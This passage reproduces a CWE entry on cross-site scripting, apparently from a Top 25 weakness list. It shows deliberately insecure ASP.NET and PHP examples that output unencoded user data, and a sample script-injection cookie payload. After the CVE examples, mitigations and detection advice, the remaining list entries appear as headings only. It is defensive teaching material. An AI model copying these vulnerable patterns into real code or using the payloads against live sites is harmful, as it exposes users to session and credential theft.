string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

// Example 4
// The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.
// CreateUser.php
// Example Language: PHP 

$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack ([CWE-89]) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(bad code)

Example Language: PHP 

$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {

exit;

}

_//Print list of users to page_
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {

echo '<div class="userNames">'.$row['fullname'].'</div>';

}
echo '</div>';

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.




// Example 5
// Consider an application that provides a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:
// Example Language: PHP 

$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";

_//save HTML-formatted message to file; implementation details are irrelevant for this example._
saveMessage($announceStr);

An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:

(attack code)

<script>document.alert('Hacked');</script>

The raw contents of the message file would look like:

(result)

<script>document.alert('Hacked');</script> has logged in.

For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.

Observed Examples

Reference

Description

• CVE-2014-8958: Admin GUI allows XSS through cookie.
• CVE-2017-9764: Web stats program allows XSS through crafted HTTP header.
• CVE-2014-5198: Web log analysis product allows XSS through crafted HTTP Referer header.
• CVE-2008-5080: Chain: protection mechanism failure allows XSS
• CVE-2006-4308: Chain: incomplete denylist ([CWE-184]) only checks “javascript:” tag, allowing XSS ([CWE-79]) using other tags
• CVE-2007-5727: Chain: incomplete denylist ([CWE-184]) only removes SCRIPT tags, enabling XSS ([CWE-79])
• CVE-2008-5770: Reflected XSS using the PATH_INFO in a URL
• CVE-2008-4730: Reflected XSS not properly handled when generating an error message
• CVE-2008-5734: Reflected XSS sent through email message.
• CVE-2008-0971: Stored XSS in a security product.
• CVE-2008-5249: Stored XSS using a wiki page.
• CVE-2006-3568: Stored XSS in a guestbook application.
• CVE-2006-3211: Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
• CVE-2006-3295: Chain: library file is not protected against a direct request ([CWE-425]), leading to reflected XSS ([CWE-79]).

Potential Mitigations

• Phase: Architecture and Design
  • Strategy: Libraries or Frameworks
  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft’s Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Phases: Implementation; Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
    • HTML body
    • Element attributes (such as src=”XYZ”)
    • URIs
    • JavaScript sections
    • Cascading Style Sheets and style property
    • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
• Phases: Architecture and Design; Implementation
  • Strategy: Attack Surface Reduction
  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Effectiveness: Limited
  • Note: This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.
• Phase: Architecture and Design
  • For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid [CWE-602].
  • Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely.
  • Then, these modified values would be submitted to the server.
• Phase: Architecture and Design
  • Strategy: Parameterization
  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
• Phase: Implementation
  • Strategy: Output Encoding
  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
• Phase: Implementation
  • With Struts, write all data from form beans with the bean’s filter attribute set to true.
• Phase: Implementation
  • Strategy: Attack Surface Reduction
  • To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Effectiveness: Defense in Depth
• Phase: Implementation
  • Strategy: Input Validation
  • Assume all input is malicious. Use an “accept known good” input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, “boat” may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as “red” or “blue.”
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon (“<3”) would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the “<” character, which would need to be escaped or otherwise handled. In this case, stripping the “<” might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
• Phase: Architecture and Design
  • Strategy: Enforcement by Conversion
  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
• Phase: Operation
  • Strategy: Firewall
  • Use an application firewall that can detect attacks against this weakness.
  • It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.
  • Effectiveness: Moderate
  • Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.
• Phases: Operation; Implementation
  • Strategy: Environment Hardening
  • When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as [CWE-95], [CWE-621], and similar issues.

Detection Methods

• Automated Static Analysis
  • Use automated static analysis tools that target this type of weakness.
  • Many modern techniques use data flow analysis to minimize the number of false positives.
  • This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.
  • Effectiveness: Moderate
• Black Box
  • Use the XSS Cheat Sheet or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.
  • Effectiveness: Moderate
  • Note: With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

---

3. CWE-20 Improper Input Validation

---

4. CWE-200 Information Exposure

---

5. CWE-125 Out-of-bounds Read

---

6. CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

---

7. CWE-416 Use After Free

---

8. CWE-190 Integer Overflow or Wraparound

---

9. CWE-352 Cross-Site Request Forgery (CSRF)

---

10. CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

---

11. CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

---

12. CWE-787 Out-of-bounds Write

---

13. CWE-287 Improper Authentication

---

14. CWE-476 NULL Pointer Dereference

---

15. CWE-732 Incorrect Permission Assignment for Critical Resource

---

16. CWE-434 Unrestricted Upload of File with Dangerous Type

---

17. CWE-611 Improper Restriction of XML External Entity Reference

---

18. CWE-94 Improper Control of Generation of Code (‘Code Injection’)

---

19. CWE-798 Use of Hard-coded Credentials

---

20. CWE-400 Uncontrolled Resource Consumption

---

21. CWE-772 Missing Release of Resource after Effective Lifetime

---

22. CWE-426 Untrusted Search Path

---

23. CWE-502 Deserialization of Untrusted Data

---

24. CWE-269 Improper Privilege Management

---

25. CWE-295 Improper Certificate Validation

1. top25_software_errors, https://www.sans.org/top25-software-errors/ ↩